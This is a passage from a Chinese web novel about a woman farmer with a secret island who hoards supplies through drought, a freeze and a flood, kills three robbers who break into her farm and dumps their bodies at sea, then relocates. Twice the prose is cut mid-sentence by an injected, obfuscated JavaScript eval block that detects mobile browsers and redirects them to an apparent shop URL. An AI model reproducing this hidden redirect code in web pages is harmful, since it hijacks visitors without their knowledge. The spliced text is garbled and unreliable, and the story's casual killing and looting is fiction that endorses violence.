煤都是好煤,所以煤灰从来不需要付额外的垃圾费用,而是直接用在大棚里。她的蔬菜没有浪费钱做认证,但检测的事情一直在自己做。事实证明这些煤灰的有.毒.物质在安全范围内,所以配合土肥效果还可以,种完几茬蔬果后的次等土还倒在岛上补充被雨水冲刷掉的贫瘠土壤,不过即使种个三十年大棚所淘汰的次等土也不够改善全岛的土质,所以她都倒在自种植物的那块区域,另外再多固定些收集雨水的浅口塑料盆,既不会破坏土地又不会轻易被风吹跑。
虽然煤灰可以做水泥的原料,但她并不想在岛上弄太多半永久性的东西,因为不管是啥,百年后都是废墟,而水泥这种东西拆掉还浪费力气和可怜的电力。
倒是那发电机,可以测试下与防腐木和微波炉相比哪个先完蛋。
“嘿,苏茜,你买那么多矿泉水干嘛?”还特意去批发商那里拉货,难道她要开店?
“不,我就是买来囤着的。你忘了前年水灾?”
“啊?不是说五十年一次的水灾吗?”
“那就干旱的时候用。反正总能喝掉用掉的。”
“……你总是对的。”邻居看着苏茜的车远去,决定自己也去囤一箱。
山洞里的水以及一堆物资快到期了,得吃掉用完再换一批新鲜日期的。至于泡面和压缩饼干,加在炖鸡肉或是燕麦粥里消耗掉就行了。
每天这样忙着,包括在农场里的少许空地种了旱柳,又在自己岛上又种了十几棵杉树苗和桉树苗,甚至还有两棵据说自授粉的苹果树——即使结不了果,木头也能砍了用。顺便说一句,种树是一种重体力活。以苏茜拼命干活锻炼出来的体力,都花了一周才弄好。
然后,不幸的是,从她种下树苗开始,这片平原大半个月都没下雨。春季缺水真的很糟糕。镇上酒吧里的男人们开始在下午聚会的时候忧心忡忡。
而苏茜则又开始用太阳光晒海水获取淡水,顺便再买两个冰柜,两台落地扇和一批过滤水壶滤芯。全部是自己取货回来的那种。
整整四十天不下雨,农场主们开始焦虑的时候,天气又正常了。河水开始回到正常水位,地下水也在缓慢补充。不过这些跟苏茜没多大关系。
她正在准备一项“伟大”的试验:超迷你风力太阳能储能电池。其实这是原来认识的同学,后来又去读了硕士、现在回来当助教的创造,可惜没人理会。苏茜用两大瓶蓝莓汁和一大瓶有一点点防脱发作用的精油将之买下来,外加个铸铁壳子,放岛上靠近海边风比较大的地方。
不能用也就是损失一两百块。她现在的护肤品全部是自己做的,玫瑰、天竺葵和茉莉精油加入荷荷巴油,配合进口的纯露,全身都能用,白天最多加个防晒,还有大罐装洗面乳,一年花不了五十块。
邮局邮箱里的一堆账单,广告信,推销杂志。
没了。
总算没有什么末日教的召集信。
“你相信末日论吗?”一个看起来就有问题的家伙见人就拉。
“一百年后吧,地球上的人可能会大批饿死。反正我是看不到的。”苏茜表示有可能这是真的,因为她不知道。“不过你如果向我推销末日论,叫我捐出所有财产,我会劈开你的头盖骨让你冷却一下发热膨胀的脑子。”
她挥了挥刚买的不锈钢斧,给了对方一个恶意满满的微笑。
“……”
去酒吧和餐厅送完货,她碰到副警长。“……这人看上去就应该送精神病院。我觉得大家应该在车里准备好武.器。冷武.器也是好的。”
“苏茜,你这个暴力家伙,不过你讲得很对!”路过的桑伊大声附和。镇上只有个小教堂,苏茜以碰到过教堂爆炸心里有阴影为由从来不去,不过她对外称信新教。上一任牧师退休了,新的还没来,但这一点也不影响农场里干活的人对精神有问题的家伙的警惕。
可能是各个碰壁包括老人和女人,之后就再没见到这人了。
不过不久后听说有邪教的人因为犯下这样那样的罪名被抓了,其中最“严重”的当然是没交税。镇上传了一阵也就过去了。
大家开始忧虑起旱情。
前年稍微有些干,去年非常正常,而今年就不对了。一场春雪和几场春雨之后,就再没下过雨。十天内的天气预报也都没有雨。
苏茜本人的农场用水是没什么问题的,包括在浴缸里泡个澡也很方便,因为她用的水确实很少,何况大家都认为只要用自来水给她那一年都产不了三四吨的蔬菜水果浇水就够了,最多就是花的水费多一点。她最近搞来了塑封机,正在将山洞里收藏的纸钞以及其他不耐存放的东西清洁、晾干、消毒、塑封后再收纳。至于前段时间买的素面简洁款纯黄金饰品和少量金条,放几千年也不会坏。
“今年的收
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976277|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成完蛋了。我上周就让保险公司来人了。”农场主们在大批秸秆枯黄后就彻底死心。灌溉用水可不是泡澡的水,地下水渠在缺少来源的时候也顾不到多少亩田地。倒是便宜了苏茜,她免费帮工处理枯死的庄稼,然后拿走一部分植株作为报酬——这种交换不交税。
“我最怕限水。水不好,或者环境太脏,猪都会出问题的。”养猪场日子也不好过,饲料上涨让人恐惧。这甚至还不是保险范围。但在损失惨重的农场主面前,牧场主又没法表达不满。“如果夏天……看样子化粪池是不会水淹了。”
其他人都沉默。化粪池泛滥简直是比旱灾水灾更可怕的玩意。
水价涨了,电价也涨了些,毫不出人意外。
苏茜的菜没涨价。她的成本没有增加,当然不需要冒着失去长期大客户的风险涨价。她烦恼的是需要增加出菜量,因为不少新客人发现从她这里买便宜方便,哦,主要是质量确实可以,没有认证有机蔬菜的价格,但质量基本差不多,还欢迎抽检,尤其适合中小餐厅。
“苏茜,我发觉你用的水质量很不错?”
“我用了软水剂。”她直接从水桶里舀水出来加入旁边的虹吸式咖啡壶,点燃酒精灯,“请放心,水是每天更换的,没有残留物。”
五分钟后,咖啡做好了,倒进从消毒柜里拿出的两只大号咖啡杯里,再将牛奶和方糖拿在小桌上。苏茜自己则是清咖。“我用的豆子是阿拉比卡和曼特宁混合的,不是很好的品种,但因为我喜欢酸度低和中度烘焙的,普通咖啡机做出来味道可能不够浓烈,不过虹吸壶做出来的会好一点。”
“哦!”直接喝用来浇菜的水!哪怕煮开也有点挑战自己的观感。不过苏茜自己喝,所以他也就喝了。先喝原味的,“味道不错呢!”酸苦味不重,滋味也算香醇。再加奶加糖,果然很美好!
种菜的人非常讲卫生,自己喝浇菜的水,杯子放消毒柜。虽然不化妆、马尾辫、穿工装裤的形象非常拉低颜值,但她卖的东西不错就够了,甚至都不需要去掉外面的老叶,全棵能用自来水冲一下就吃。
新客户买走了所有能买走的东西,甚至还帮忙一起收草莓,傍晚时装了一辆小货车走。
苏茜叹口气,赚钱的感觉真好,补足了镇上餐厅下降的订单量还有多。但很累人,睡前还要重新种上差不多十五个种植箱的数量。
亏得明早不需要送货,不然是真的会累死!摸了下自己的马尾辫,苏茜毅然自己剪短了些,省掉二十块理发钱。
秋收时,苏茜还是去缺人手的农场帮忙并且换取秸秆。今年旱情勉强还行,能有一半的收成,当然因为旱情范围不小,因此价格是提高了的。算上保险,绝大部分农场主都没有亏钱,可赚的并没达到理想金额。
“又一家农场要卖掉了,不知道新买家是什么样的人。”镇上人员过于稳定不是好事,但频繁变化让人有些担心会来个刺头整天搞事情。
有专家说今冬是个暖冬,大家要提早除虫。还有专家说今年底到明年初会特别冷,大家要囤些燃料避免停水停电。
“砰——啪。”第一斧嵌入木料中同时也是固定,第二斧则是劈成两半。一块半米多的木头,一劈四。四十分钟后就有了一堆柴禾。
“哦,谢谢你苏茜!”达亚娜很高兴地泡了热可可,还买了份热饺子,意大利煎饺。
“达亚娜,你还有木头要劈吗?”
“没有了。其他的都比较细,可以直接塞到壁炉里。”
“那就好。”苏茜一头薄汗,但没到汗流浃背的地步,将柴禾分三次才搬进杂物间。那里还有几十公斤细些的木头。“碰到麻烦了打我电话。即使我没接,也会回电话的。”
“好的。亲爱的。”
苏茜一身标志性冲锋衣,在外祖母门口劈柴的景象吸引了不少目光。
不过大家都有志一同地微笑以对。
“嘿,苏茜,你在,呃,累吗?”一个牛仔难得看到单身的年轻女性,正要招呼,但在看到苏茜双手持闪亮亮的沉重斧子,像看无机质一样看自己,就什么心思都没了。
“谢谢,这点工作不累。”
镇上的老妇人们都认为苏茜是个能干的好孩子,如今更是认为她完全是个合格的农场主——可能是因为她劈柴和开木仓的架势一点不比男人们差的缘故。不过显然男人们并不是那么的欣赏,但也不会多说什么不好听的,就怕她抡着斧子上来找茬。
这些都与苏茜无关。
现在天气情况不明,她没有扩大生产,也没刻意缩小规模。起码的,下一岔蓝莓是赶着圣诞新年前上市小赚一笔,发现不对大不了都种蓝莓好了,这样能完美卡在春夏之间卖。但她还是提早买了几车煤,哪怕是大雪下一个冬天都够用了。
只是,都快十二月了,天气还挺温和的呀?
* * *
威妮的餐车因为有俩对手就在附近的关系,生意不行了,还时不时的被查食品卫生的找,很难说是不是被针对了。加上节节攀升的房租和不稳定的治安,她打算回老家镇子开个小餐馆。事实上苏茜给她送的货已经挺少了。
“我的车淹过一次后就一直不太好,大修跟买新车的价格差不多,我住的地方房租又涨了,我真受不了了。”威妮喝着与苏茜一样的清咖啡。她这些年攒的钱也不够在得城买栋有花园的小房子,倒是能够在老家买个房子做家庭餐厅,她自己也能将家乡带花园的老房子修缮了住进去。
“听说今年冬天气候不稳定,可能先期很热,然后突然暴风雪的那种。所以我建议你买发电机和净水装置。”
“亲爱的,这些你都有吗?”
“我有一个小型汽油发电机,一个小型农用柴油发电机,还有储水箱和净水片、软水剂和十吨燃煤。”
“……哦!”威妮张大嘴,发出一个单音节。“那我回去后也买吧。”
苏茜想到她的得州老家,“务必多准备。我一直对你们那里的电力系统不感冒。”
“我们那里是绿色电能!听说你不是还搞太阳能风能吗?”
“我的农场曾经被龙卷风吹跑一个棚子,铁皮做的。还有不少小树。所以那套东西跟玩具也差不多了。我就是平时储存点电,可以在外面没有插座的地方用电钻电锯什么的。”
“……行吧行吧。”不跟苏茜争辩,省得她还搬出来炸.弹之类的坏人胃口。“对了,我带来的牛肉相当不错,所以我要吃好吃的!”
“知道啊,那肉我已经腌得差不多了,等会放压力锅。”
“不是煎吗?”
“你吃了那么多年的煎牛排就不腻啊?!我做些创新菜。”
“好吃吗?”
“应该不错。反正吃个新奇。”
所以威妮吃到了黄瓜草莓牛肉,肉是先炖后烤的,很厚实,但与蔬果一起切开吃进嘴里,味道还不错。要说好吃到爆是不可能的,但胜在新奇。
“还挺好吃的。”苏茜自己也没吃过。她之前裹过一层蛋液去烤过,口感只能说可以吃。
“你自己也没吃过?”威妮叉了蔬菜沙拉吃。这个蜂蜜芥末酱好像不错。
“我之前试过裹一层蛋黄,但显然那种做法也许更适合油炸。”
“行,我回去试试。”
吃完饭,拥抱道别。她们也就是普通朋友,可能婚礼满月之类都不一定邀请对方,距离又是飞机无法直达、开车二十小时的两地,因此下一次见面或许是多年后,大家都认不出来彼此了……
然后在过了一个没有雪的圣诞节后,本地开始大降温。室外都低到华氏零下八度了。本州有的空旷地方低过了华氏零下十度。
停电了。农场的柴油发电机开始工作,岛上的汽油小发电机也开始工作。两边都有着让第一次听到的人很不适应的噪音,好在苏茜现在睡觉都不会受影响。
苏茜给达亚娜打过电话,她那里没断电,还有个火炉备用,加上之前她硬送给老人的毛裤和羽绒披风,她应该不会收到老人家活活冻死在家的噩耗。对了,壁炉烟囱也是她亲自疏通过的,避免出现一氧化碳中毒问题。
考虑到岛上和房间里的温差,苏茜在送走顾客后就果断地躲去岛上,只将电话机移到开着小火的煤炉边。她现在极度想念老家生产的各种便宜变频取暖器和无所不能的电商平台,直接能把镇上那家电器店里又贵又老又少的商品碾到地下室!踢脚线油汀等等都是多么便宜好用的产品啊,只需要开中档功率就能完全与柴油发电机匹配。
岛上在下雨。苏茜将洗衣机里拿出来的干净湿衣服晾在木屋里烘干,消毒液淡淡的薰衣草味让屋子里的气味和湿度都好了些。
雪开始堆积。第三天早上积雪都到小腿了,空旷的乡间大道上根本不可能铲雪。苏茜连续打了好几个电话取消送货,同时也收到喜欢自己来提货的客户取消收货的电话。
挂上电话,正在华氏45度的室内准备早午餐,达亚娜又打电话过来让外孙女在室外收集积雪、室内则进行储水。苏茜拿出所有的大盆,戴了帽子出门将积雪铲了些进去、余下的空间直接等下雪,又拿几个水桶储了水放在有洗衣机的卫生间和厨房,预防什么时候突然停水。本地大部分居民都有应付停电停水的技巧,她不这样做就有点不对劲了。
冻死了!
这个冬天怎么这么冷?!
她匆匆拿了差不多做好的食物逃回50度的岛上,将山洞那里的火炉也烧上,然后回木屋享受60度的温暖。
唉,这样的冬天,估计不少心血管不好的老人熬不过去。
6. 开局一荒岛(六)
路上可以开车后,苏茜开了皮卡去送了一圈的货。出货量偏少,这一点双方都接受。
然后苏茜就听到了镇上有两位八十多的老人过世的消息,还是过世后几天才送去殡仪馆的那种。另外有家农场里的一名六十多岁老员工突发心脏病死了,估计与温度变化有直接关系。
哦,镇上没有停电,所以达亚娜都没用上柴火炉。死亡老人的家属当然也没有理由去控告供电公司。
不过二月的时候又是一场雪,让大家对今年的天气有了担忧。
果然,今年的春耕因为春寒而比往年推迟近三周。所有能请的人手都来帮忙春耕,包括苏茜。可惜现在没有秸秆给她,所以这些收入得交税。庆祝她终于交税超过一万块!
有鉴于一些影视作品误导,她怕税务官的对手将她的支票销毁掉,还特意在支票寄出几天后打电话给税务官,确认对方有收到。中年税务官还心情不错地跟她聊了两句天气才挂电话。
情绪不错之下,苏茜又去隔壁州华人聚居区买了不少吃的用的,甚至还买到了老家那边古早期的银元和金条!经过不放心的检测,她确定都是真金白银——哪怕是买家自己用模子和熔炉做的仿品——又将好不容易积攒的几万块都砸进去了。这些是用金银饰品的价格卖的,所以就当是首饰收藏好了。
她现在对自己的运气并不是很放心,甚至不是很放心自己的记忆。这个世界也许并非是上几辈子生活的那个呢?囤点不会过期的东西总比囤积压缩饼干好。
这样想的时候,夏季已经到了尾声。农场的夜间静谧且凉爽。苏茜刚试验了一把在火炉里将银块弄成银条,效果还不错。她似乎可以自己制作比较粗糙的银币了。
刚回到农场客厅里,她就感觉不对。
汽车的声音,半夜。
虽然反应略慢,她还是双手持带抑制器的.22,另一支子.弹满匣的放在手边。还有一柄战术刀在地上。
嘿,居然还在说话。
西语。还是脏话。
以为她不懂西语吗?!
苏茜在沙发后举起木仓。
来人直接踹门。哦,这门确实不太好。
然后两个人刚在观察室内环境,就被抑制了几十分贝声响的子.弹打了个满脸开花。这支.22的火力没法爆头,真是让人遗憾呢!
苏茜将一具尸.体一个重伤拖到一边。
她觉得应该不止两个人。
果然,没多久,有人用西语高声咒骂着过来。
这次准头更好了,没进门就额头开洞。这是缓慢移动靶的八环吧!她的木仓法真是越来越好了。
她将三个塑料袋套在三个家伙脸上。既阻止继续弄脏地面,又有效解决问题,还节约子.弹。走出去,一辆很可能是偷来的中档迷你车。后座居然还有个化妆包,但还多了不少明显不是原车主的东西。
苏茜翻了翻,武.器为主。还有不算少的现金,以及月光下亮闪闪的一堆。她犹豫半分钟,将车转移到岛上。然后又将三具尸.体彻底搜身,用推车拉到距离收集食材比较远的一处矮崖扔进海里,然后在空地上将一堆搜过的衣物烧了。
那块地方就叫垃圾海滩吧!
回房子里,清洁消毒。再开了车沿着对方进来的路碾两遍,最后不睡觉了直接进大棚干活。
两天后,苏茜才在去镇上的时候找锁匠换掉老旧不堪的锁。
“钥匙都断在里面了。”
“我说,苏茜,你应该换个门而不是一把锁。”
“不但是门,还有窗,还有大门和围墙……得不少钱呢。”
那三个劫匪是抢了一家金店后一路逃窜,至于为什么准确地找到她这个只有个单身女性的农场就不得而知了。第二天的新闻只有隔壁州的几家店铺被抢,劫匪逃逸的消息,还说其中一家是首饰店。没有任何人找她。她也就心安理得地整理“战利品”。
现金好几万,直接清理后塑封封存。这些即使用也得在其他地方、其他时间。
饰品什么的光是一根根理出来都费了些时间。可惜都是属于设计款的饰品,也就是说除了贵金属跟一些锆石和小钻石,加起来的“回收”价大概都不到零售价的一成。另外拿个铁箱放了。
最有价值的居然是武.器。新闻里没说被抢的是不是木仓店。反正苏茜对着一堆的半自动和全自动笑了十几分钟,其中居然有两把她心水已久却不舍得买的蝎式。她摸了好久才放下,都不舍得浪费子.弹试试手感。出手卖是不可能的、卖了反而是她倒霉,那就全部留着吧,哪怕最后变成废铜烂铁,也可以当成废钢铁卖。
还有一辆车,车牌扔进海里。至于那辆颜色可爱的小车,先放着吧。
全部理完,啥明面上的好处都没有。苏茜继续过自己的日子。
* * *
“这天气才好了几年?那年的干旱我损失了不少。”酒吧里的人围在在大屏幕电视剧前看着河堤加固的情景。
“依琳,之前的大水你店里怎么样?”
“我把能移动的东西都搬到三楼。不过墙壁电路保险这些都完了。保险公司只赔了两千清洁费。”她有损失,但不大。
“你是不是今晚就要搬东西了?”
“看看吧。”依琳在镇上那么久了,一楼浸水的事情只经历过一回。“如果明天关门你们不要觉得奇怪。”
“我得回去了。地里只能这样,我家里的东西得保住。”
“我也是。”
苏茜拿到货款,也跟着走了。她春季就囤了足够的东西,连面粉大米都用铝膜封口包装好了。不过农场里有很多东西需要处理。最要命的还有她的菜,棚子实验室里的器材……哦,还有土肥!
一边开着收音机收听新闻台,一边拼命收割。没长成的蔬菜水果都堆岛上。收割后的培养土全部倒在岛上。农场里种的树就放一放。自制土肥也全部转移到去年底买来放岛上堆杂物的废弃集装箱里。关上门,免得全被雨水冲刷到海里去。
柴油发电机的地点是特意加高。上一回就没被淹。苏茜考虑了下,还是留在那,但是将能充电的东西包括蓄电池全部充满电。她还是拒绝买手机。
不过一些老旧电器之类的,她只选了用得挺好的搬走,尤其是电脑。其他的就扔在那。
干了整整一晚和半个上午,在搬完卫生间厨房,正打算搬卧室的时候,中雨成了暴雨。苏茜火速将东西包括客厅里的大小物件和纺织品都搬完,然后披了雨衣冲去简陋的车库,将自己名下两辆其实已经不值多少钱的车子也搬走。
这下,岛上所有不会淋雨的地方都堆满了。住处附近也放满种植箱,远一点的空地停了三辆车还有一个拖挂露营车。
然后她将救生衣、雨布、衣物、帐篷、食水、蓄电池和一批明显就是应急物品的东西放进小船,拖到农场里,两个集装箱之间的地方,并且将船锚挂在集装箱上。
地面积水不严重。
收音机里已经发出了决堤警告。苏茜回了一趟岛上,吃了一餐十二分饱的午餐,再回来上个厕所的时间。河水漫过了防洪堤,甚至几座桥也毁了。
似乎就一会儿的时间,农场里就满是充斥着泥土、草料和少许牲畜粪便味道的水。船已经飘起来了。这个形势,目测不是三天就能恢复正常的。苏茜听着收音机里主持人兴奋得要命的声音——真不知道这家伙在兴奋个什么劲——决定还是带着船回岛上。
在达亚娜车祸过世、按之前立好的遗嘱将房子留给唯一的男性孙辈以后,苏茜就只需要管好自己。她不知道外祖母是什么时候立的遗嘱,也不想知道。
岛上也在下雨,但比暴雨小得多,而且没有闷热的难受感。
苏茜第一次以一种欣赏的情绪看着雨景、听着雨声,在华氏75度的舒适温度中睡个迟来的午觉。
……
水位并不高,没有淹过柴油发电机,而且三天就退得可以开车出去了。但是本州不少地方不知道怎么回事,明明距离密河不近,却淹得一塌糊涂,很多人至今还飘在外面。
具体情形苏茜以及很多人都不知道,因为大家不想把宝贵的电力用在电视机上头,最多用使用电池的收音机听听消息。
幸好达亚娜没碰上这一轮的停水停电。苏茜突然起了这个念头。她目前没有明确的搬家的念头。哪里不会有麻烦呢,像本地这样能赚点钱,又比较安全又安静的地方,偶然淹一下对她来说不是多么痛苦的事情。且本州的税制总体还行,尤其是土地税让人满意。这要是去夏岛加州纽州什么的,那才叫税收。别看遥远的有不少地方已经到了北极圈的拉州,别看州里免税,好一点的城市可都是自治市,有着并不低的税,甚至不比同样在北边的缅州低。
咦,为什么她突然想起来高税的缅州?是因为那些树林特别想让人砍了烧火炉吗?或者自家农场室外的光秃秃让她很不爽?还是每次躲在岛上吃海鲜都要清洗半天才敢回来?或者说镇上那些天天吃饱了没事干议论她应该将农活和农场都给她表兄还是堂兄的长舌男?
哦,应该几样情况都有。
顺便的,她这块地和房子,连同已经想更新换代又不舍得投入太多的设备设施,应该卖多少钱?她一边核算着,一边清理东西。然后回岛上继续吃吃喝喝。
“我的农场损失不大,之前正好把最贵的蓝莓都卖掉了,最多损失些培养土。很多东西垒高就行了。倒是家具家电,比蔬菜水果情况严重些,好在室内家居还能拿到五百多块的保险。”苏茜第一次在酒吧里点了饮料,就是不含酒精,甚至没有拒绝老板娘递来的烟。“但这样的灾难简直可以比得上十几岁时碰到的人.肉.炸.弹现场,我花了三天时间才整理掉。真想卖掉算了。”
“你那块地其实——”
“嗯,连大棚这些都在内。我一样也不想带走,除了没用掉的种子。”检测设备也旧了,早就有一键式多品类检测仪,还不贵。老家那边出品,嘻。“但就是没想好去缅州或者华州?我还是想有海有森林的那种。南方太热,我最讨厌酷暑还有各种,你知道的,各种教。”
“华州的税算是比较低的,地税不比我们这高多少,尽管偏北也不是特别的冷。不会冰封几个月。”老板娘点头赞同。不开心的时候她自己也是这样计算来考虑去的排遣情绪。
“嗯,我还没想好。不过那里的土地应该比我们这里难买一点?”
“这个我不清楚,得看具体在哪里。我建议你开了车子到处去看看。”
“天啊,我的车子!不过我今天开出来的时候感觉还可以。”
“是的,车子!我的车前天太急着发动,彻底坏了,保险还不给赔!”
“啊……这种最好是打开前后盖子,拆掉能拆的,然后放三天……”
“……”
苏茜把想卖地的风声放出去。打算过几天如果没有人来问,就找中介。好在她没有等太久。
“……八万五。不能再少了。不然我宁愿自己继续经营。”
一个月后,这笔不大的交易,连律师费苏茜都没付,自行看完对方递来的条款,签字,收钱过户。甚至还好心地介绍了些大棚有机菜的种植小窍门。
其实这一个月,苏茜一直在查地理信息和联系中介。只是她这单生意太小,目标又略高,最后塔城的一家中介答复她,有个价格适中的种植园,有她要求的树林,并且用水方便,只是没有成材的树木。而且因为是大农场拆分的,房子是原工人用房,比较小且差,唯一的好处是房产税低。
苏茜看了照片、背景赫然还有一点点雪山的影子,加上土地面积和六万多的价格,二话不说就拍板表达意向。这边钱一到手,就拎了箱子上飞机。
对,只有一个行李箱。两辆大家都知道的车子都卖了,凑了飞机票和住酒店的钱。
她一副红脖子女农民的不修边幅,跟着中介从位于港口附近的办公室,驱车五十分钟、其中包括最后一段不算难开的山间公路,就到了农场。
交通真不错!苏茜立刻决定去买辆双人座厢式小货车。哦,顺便把那辆战利品小车里的零件处理给二手车场。天知道为了赚点零花,她研究车子拆装改装研究得眼睛发直,还浪费了不少,才把那辆车给拆成零件,车壳拉去投海。但愿那些卖零件的钱抵得上买工具的钱。
“对了,你有持木仓证的吧?”中介问道。能独自一人经营农场的女人,肯定不是省油的灯。
“有。我的准头也还不错。就是没有对着人脑袋开过木仓。”苏茜说着从包里摸出一支小巧的木仓,但上面带的消音抑制器显示着这玩意绝对不是玩具。
没有对着人脑袋?那就是打过其他地方。中年女中介瞬间微笑脸,她也从包里摸出一支木仓。“我得说一句,塔城因为各种人比较多,又是港口,市区晚上不是很安全,但白天最多还是盗窃比较多,抢夺抢劫不是很普遍。不过在农场范围内这种犯案就少了,大家都知道农场主有□□。”
“嗯,我嫌□□后座力太大,打算改为‘蝎’式。不过最近新出来一款可以连打30发子.弹,我在考虑到底买哪个。”
女中介对她竖起大拇指。
最后这笔交易成功了,毫无异议。双方都挺高兴。
这个种植园原本是林场的一部分,因为有价值的高大杉树都给砍掉当木材了,余下的要么只有树桩还得长个二十年、要么不值什么钱。而改为蓝莓种植园又因为成本没有竞争力,最后几个工人要求涨薪无果都跑掉了。自己不出面干活的前任主人反正已经从那批杉树上面赚到了,当然就低价卖掉。
至于像猎人小屋一样的“简陋”轻钢房屋,苏茜表示,有个烧木头的壁炉就很完美了。起码有一条可以开车的土水泥路可以通到房子这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976278|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里。另外,这栋一室一厅,卫生间还是临建的房子有电力还只需要交大概一百块的税,真是美妙极了。她弄大棚根本不用交税,因为原主就有一些农田建设,到时自己搭棚子就行,棚子不叫建筑物。
冬季四个月的雨季虽然对很多蔬菜水果并不适合,但她在保暖方面的支出少了很多,这个无比小的山头都是她的,有证可以伐,因为地块上都是不超过十米的林木。哦,她的岛上还有三吨多燃煤和更多的土肥,当时搬运真是要了她半条命,可现在都是省下的钱啊钱!
最多就是站在“山顶”是看不到雪山的,得再高个几百米的样子。所以说,照骗这事哪里都有。
另外就是水了。
谁能告诉她水泵打上来的“灌溉水”是咸的?!
沿着图纸上河边水管的走向走上去,到了取水口那边就不能再过去了,那边是别家的土地。苏茜放下背包,拿了简易检测仪测水质。很好,每升水含氯五克多,还有金属和哪哪都有的亚酸硝盐。所以,这才是原种植园开不下去的原因是吧?用淡海水灌溉,能赚钱才见鬼!
最要命的是,土壤肯定也受了影响!那玩意叫盐碱化!真是法克!要怎么处理海水倒灌过的土壤?是不是有个什么生长在海滩红树林里的耐盐药草,能买到种子吗?
* * *
“关于你的问题,我们推荐美国滨藜,要点如下……”
苏茜也没想到,农业技术部门似乎还有点水平,给她推荐了改善盐化土壤的方案,甚至种子的购买渠道。
行吧,打个好评。她回了一个热情感激的邮件,还指明可以回访的那种。然后匆匆开着辆六成新的二手小货车去采购。
这边毕竟是贸易大州,只要给足国际物流费,老家的厂商能给直接她送到小屋门口,叫做门到门!就是物流费用比物品的价格还高。但综合起来,还是划算的。
“谢谢!”物流不管卸货,但是有个斜坡可以推下来。所以苏茜高高兴兴地从半满的集装箱里将十几个包装箱都推下来。好在里头的东西都是塑料制品,包装是木板箱,不怕水,不然这雨天里放一堆瓦楞纸箱会毁掉不少东西。
“你这边的路不错,我还以为开不进来,结果宽度正好,还没有乱糟糟的转弯卡车轮。”集卡司机是真的老手,开过各种糟心路况尤其是山路,到现在都没翻过车也是奇迹。
“确实,修路的时候就考虑到大型货车可以通过,不过是单行道,最大程度节约土地。”毕竟是运输至少二十米的木头。
“哦,对了,这边山里有不少对外营业的度假点,经常有人直接在林子里露营烧火,你要注意火灾。”司机接过纸钞小费,好心提醒了一句。
法克!“太感谢了!”
见鬼,没有水灾旱灾,来了火灾!还能不能好了?!
不,在火灾之前是地震。
……
“这钢板房质量不错啊!”苏茜喃喃自语。四级地震,其实影响不大,就是一些自己搭的棚屋木屋可能会塌。反正本地没听说有因地震死亡,倒是地震期间的劫案居然有三起,还是会挑起不同肤色间对立的那种。
早知道当初就选阿州了,不过那里冬天太冷、夏天蚊子又太恐怖,食物种类比征收野生蓝莓税的缅州更缺乏,还有时不时的雪崩让人头大——睡着的时候被埋了也是有的。
苏茜一边咒骂这糟心的治安,一边自己在检测数据不错的田间搭大棚,再将滨藜种子栽进数据最糟糕的大概两英亩土壤里。就是深度不高,只用了三四厘米,间距也略宽,超过二十厘米,总体种得有些敷衍。她这又不是真的盐碱地,何况这些滨藜以后的用处也就是做培养土。
倒是有样东西可以找起来了:牛羊粪。猪和鸡必须排除。
另外,她路过时看到有垃圾场有大批泡沫塑料箱子,明天去捡一批回来。
冬天快到了,虽然不算冷还有空调,不过既然现在有她想了多年的烧柴壁炉,那木头得跟上,不然雨天湿润的树木得干燥一段时间才能用。
是充电家用电锯上场的时候了!
先把树锯掉上半部分,然后是一截截地锯开,最后上斧子。一棵到树冠顶也就是五六米的松树,能烧的枝干装了半推车,松针倒装了好几搬砖推车。她的两辆半旧工地搬砖推车是放在老家门到门送来的集装箱里作为搬运辅助工具白送的,一起送来的还有一米高和两米高的梯子,以及全新的安装工具。所以她花费的三千多块以及等待的一个半月还是值得的。这要是在本地找,她得自己跑去运几趟货不说,所有辅助设施甚至棚内的支撑装置全部要另外花钱买新的,加起来起码六七千。不过要是二十年后,估计老家那里也会额外收取采购报关运输服务费了。
松针堆在她自己挖的土肥制作坑里。现在雨季开始,天天下雨的,不适合制作。何况她急于清空自己的“库存”呢。
放在岛上的蔬菜长得当然不好、一个人吃自然是够的。配合本地各式各样的肉类和花式奶制品以及丰富的进口食材辅料,她现在的饮食比之前好不少。起码喝的绿茶不再是又贵又糟糕的玩意,龙井的浓香让她晕了几秒才反应过来,而岩茶也出现了十好几个品种,糯种普洱也非常纯——这个年代老家出口的茶叶大部分是正宗好东西,还不算贵,苏茜一口气买了好几百的中国茶,乐得华裔店主合不拢嘴。就是这些茶叶每天三泡可以喝三年,所以她只能自己密封好放冷柜。连蚝油都有两种呢。
晚饭的时候,她给自己做了蚝油生菜和莲藕排骨,久违了!她的岛上一开始还种了一季莲藕,第二季开始就没有收成了,她还不得不将臭烘烘的泥和水都丢海里,那臭味的杀伤力跟猪粪有的一拼。几个戴了口罩也挡不住味道的大水缸本来想放在海里浸泡清洗的,但不小心磕破了俩,最后都成了牡蛎的家园,害得她从不去采那里的牡蛎,至少这一辈子是不想的。
烧木头的壁炉与烧煤的火炉是不一样的。也许是心理因素和燃烧方式叠加的缘故,又或许林子里白噪音的关系,苏茜在壁炉边的单人木床上睡得很好。即使松木的燃烧效果不佳也没有挡住好心情。
直到第二天大清早上厕所的时候才有所觉悟:得加个什么才能不在华氏45度的冬雨清晨用洗手间时被冷到PP。
哪怕加一百块钱地税也是值得的啊,看个病多贵?!华州的税还行,医保却超过原来的地方,主要是这里费用高,当然能用医保的医院诊所也多,医疗水平稍微好些。
